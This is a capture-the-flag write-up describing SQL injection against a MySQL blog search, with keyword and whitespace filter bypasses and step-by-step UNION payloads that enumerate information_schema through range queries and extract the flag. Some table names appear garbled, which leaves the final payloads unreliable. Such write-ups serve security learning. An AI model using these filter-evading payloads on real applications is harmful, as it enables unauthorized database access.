Tags: sqli mysql web sqlinjection

Rating: 5.0

We are presented with a simple blog with search being pretty much its only funcionality, so the first thing to check for would be vulnerability to SQL injection.

* The SQL injection can be confirmed with a payload like *%'#*.
* It seems that errors are not displayed as a payload like *'* which should cause an error, returns an empty result.

## Filters and bypasses

I'll present some of the filters and the bypasses used to search the database for the flag. It's possible that some of the bypasses are database dependant, in that case it was MySQL. [That post](https://websec.wordpress.com/2010/03/19/exploiting-hard-filtered-sql-injections/) was helpful with getting some of the ideas.

Note that some of the filters would only apply to lowercase words and could be easily bypassed by switching the case of a single charachter, for example Table_name instead of table_name. Below are filters that couldn't have been bypassed by switching case.

* Whitespace charachters, all of them (including tab and new line): Often can be bypassed with brackets *()*.
* *where* keyword: Usually can be replaced with *having*, but because of its different semantics, sometimes a subquery would be needed to get an equivalent result.
* *and*, *or* keywords: Replaced by *&&* and *||*.
* *limit*: May no be a problem but was a problem in our case because only a single search result would get displayed. So the bypass was to use range queries in order to get the subsequent results that we needed.

## Exploitation

### 1. Getting the number of columns needed

The payload is qqq%'uNion(sElect(1))#
*qqq* is to not get results from the left part of the union.
The weird case is to bypass only-lower-case keyword filters.

The result of the query actually displayed 1, meaning that only a single column can and should be selected in the right part of the union.

### 2. Getting the needed table name

Getting a random table name: qqq'uNion(sElect(taBle_name)from(infOrmation_schema.tables))#
With that table name we can start creating range queries, first a one sided one: qqq'uNion(sElect(tabLe_name)from(infOrmation_schema.tables)having((taBle_Name)>('CHARACTER_SETS')))#
That returned *COLLATIONS* and with that name we can create a two sided range query to get a table in between them if exists: qqq'uNion(sElect(tAble_name)from(infOrmation_schema.tables)having((table_Name)>('CHARACTER_SETS')&&(table_Name)<('COLLATIONS')))#

With that enumeration process we get the suspiciously named *[email protected]* table.

### 3. Getting the column name

That's a similar to the table name enumeration process, except that the query is slightly more complicated:
qqq'uNion(sElect(t.cOlumn_name)from(sElect(cOlumn_name),(table_namE)from(infOrmation_schema.COLUMNS)having(table_namE)=('[email protected]'))t)#
There's a subquery involved because the *having* keyword can only be used on columns that are being selected and we actually want to select and display another one.

In a similar enumeration process with range queries we get the needed column, also named *[email protected]*

### 4. Selecting the flag

That's usually trivial but in this case the table name contained a special charchter - at sign(@), which should be escaped with backticks(\):
qqq'uNion(sElect(\[email protected]\)from(\[email protected]\`))#

That returned the flag.